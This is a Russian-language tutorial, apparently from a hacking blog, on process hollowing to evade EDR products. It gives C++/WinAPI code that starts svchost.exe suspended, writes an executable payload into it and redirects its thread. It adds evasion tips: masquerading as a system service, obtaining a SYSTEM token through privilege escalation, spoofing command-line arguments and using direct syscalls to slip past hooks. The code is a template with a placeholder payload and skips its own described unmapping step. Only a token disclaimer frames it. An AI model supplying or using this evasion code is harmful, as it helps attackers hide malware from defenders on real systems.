72
Эй, хакеры и кодеры! Сегодня мы погружаемся в мрачный и захватывающий мир обхода Endpoint Detection and Response (EDR) систем. Тема на повестке — Process Hollowing (или “выдалбливание процесса”), техника, которая позволяет спрятать вредоносный код в памяти легитимного процесса. А чтобы всё выглядело максимально невинно, замаскируем наш процесс под системную службу. Всё это с использованием C++ и WinAPI. Готовы? Погнали!
Что такое Process Hollowing и зачем это нужно?
Process Hollowing — это техника инъекции кода, при которой мы берём легитимный процесс (например, svchost.exe
), “выдалбливаем” его внутренности (заменяем оригинальный код процесса) и вставляем туда свой вредоносный пейлоад. При этом процесс продолжает выглядеть как настоящий, что затрудняет его обнаружение EDR-системами, которые часто сканируют запущенные процессы по имени и пути.
Зачем это нужно?
svchost.exe
, особенно если он запущен из правильного пути.Как это работает? Пошаговый план
svchost.exe
) с флагом CREATE_SUSPENDED
, чтобы он не начал исполнение.NtUnmapViewOfSection
.SetThreadContext
.Звучит круто, да? Теперь давай реализуем это на C++ с использованием WinAPI.
Практика: Код на C++ с Process Hollowing
Ниже приведён пример кода, который демонстрирует технику Process Hollowing. Я разбил его на части с комментариями, чтобы всё было ясно даже новичку. Мы будем подменять процесс svchost.exe
.
Предупреждение: Этот код предназначен только для образовательных целей. Использование в реальных атаках может быть незаконным. Будь осторожен, кодер!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 |
#include <windows.h> #include <stdio.h> #include <tlhelp32.h> // Функция для получения PID процесса по имени (для проверки, если нужно) DWORD GetProcessIdByName(const wchar_t* processName) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32W pe32 = { sizeof(pe32) }; if (Process32FirstW(snapshot, &pe32)) { do { if (_wcsicmp(pe32.szExeFile, processName) == 0) { CloseHandle(snapshot); return pe32.th32ProcessID; } } while (Process32NextW(snapshot, &pe32)); } CloseHandle(snapshot); return 0; } // Основной код для Process Hollowing int main() { // Путь к легитимному процессу (svchost.exe) LPCWSTR targetProcessPath = L"C:\\Windows\\System32\\svchost.exe"; // Запускаем процесс в приостановленном состоянии STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; if (!CreateProcessW(targetProcessPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("CreateProcess failed: %d\n", GetLastError()); return 1; } printf("Process created in suspended state. PID: %d\n", pi.dwProcessId); // Получаем контекст потока CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(pi.hThread, &ctx)) { printf("GetThreadContext failed: %d\n", GetLastError()); return 1; } // Читаем адрес образа процесса (Image Base) LPVOID imageBase; #ifdef _WIN64 imageBase = (LPVOID)ctx.Rcx; #else imageBase = (LPVOID)ctx.Ebx; #endif // Здесь должен быть твой вредоносный пейлоад (для примера просто MessageBox) unsigned char payload[] = { // Примерный пейлоад (MessageBox) - замени на свой код 0x6A, 0x00, // push 0 0x68, 0x00, 0x00, 0x00, 0x00, // push title (замени адрес) 0x68, 0x00, 0x00, 0x00, 0x00, // push text (замени адрес) 0x6A, 0x00, // push 0 0xE8, 0x00, 0x00, 0x00, 0x00, // call MessageBoxA (замени адрес) 0xC3 // ret }; // Выделяем память в адресном пространстве целевого процесса LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!remoteMemory) { printf("VirtualAllocEx failed: %d\n", GetLastError()); return 1; } // Записываем пейлоад в память целевого процесса if (!WriteProcessMemory(pi.hProcess, remoteMemory, payload, sizeof(payload), NULL)) { printf("WriteProcessMemory failed: %d\n", GetLastError()); return 1; } // Устанавливаем новую точку входа (наш пейлоад) #ifdef _WIN64 ctx.Rip = (DWORD64)remoteMemory; #else ctx.Eip = (DWORD)remoteMemory; #endif if (!SetThreadContext(pi.hThread, &ctx)) { printf("SetThreadContext failed: %d\n", GetLastError()); return 1; } // Возобновляем выполнение процесса if (!ResumeThread(pi.hThread)) { printf("ResumeThread failed: %d\n", GetLastError()); return 1; } printf("Process resumed. Payload injected!\n"); // Закрываем хэндлы CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; } |
Маскировка под системные службы
Чтобы твой процесс выглядел как системная служба, важно учитывать несколько моментов:
svchost.exe
или другой системный процесс, который обычно запускается из C:\Windows\System32
. EDR-системы могут проверять путь запуска.CreateProcessAsUser
с токеном SYSTEM (например, через уязвимость повышения привилегий).CreateService
. Это добавит легитимности.Лайфхак: Чтобы ещё больше запутать EDR, подмени аргументы командной строки процесса. Например, svchost.exe
часто запускается с аргументами вроде -k netsvcs
. Используй это при вызове CreateProcessW
.
Как усложнить обнаружение?
EDR-системы становятся умнее, и простой Process Hollowing может быть пойман. Вот несколько трюков для усложнения обнаружения:
PAGE_EXECUTE_READWRITE
на PAGE_READONLY
), чтобы уменьшить подозрительность.Потенциальные проблемы и как их обойти
WriteProcessMemory
или SetThreadContext
. Решение: используй прямые системные вызовы (syscall) вместо WinAPI.svchost.exe
.Заключение: Стань невидимым
Process Hollowing — это мощная техника, которая позволяет обойти многие EDR-системы, если всё сделано правильно. С маскировкой под системные службы и парой трюков ты можешь стать практически невидимым для большинства защитных решений. Но помни: чем глубже ты копаешь, тем больше ответственности. Используй эти знания только для тестирования и обучения.
Если хочешь углубиться, вот тебе направление: изучи reflective DLL injection — следующий уровень маскировки. А пока — компилируй код, тестируй в песочнице и делись результатами.
Лайфхак на прощание: Если ты новичок, начни с отладки кода в Visual Studio и используй Process Monitor для анализа поведения процесса. Это сэкономит тебе кучу времени.
Давай, жги, кодер!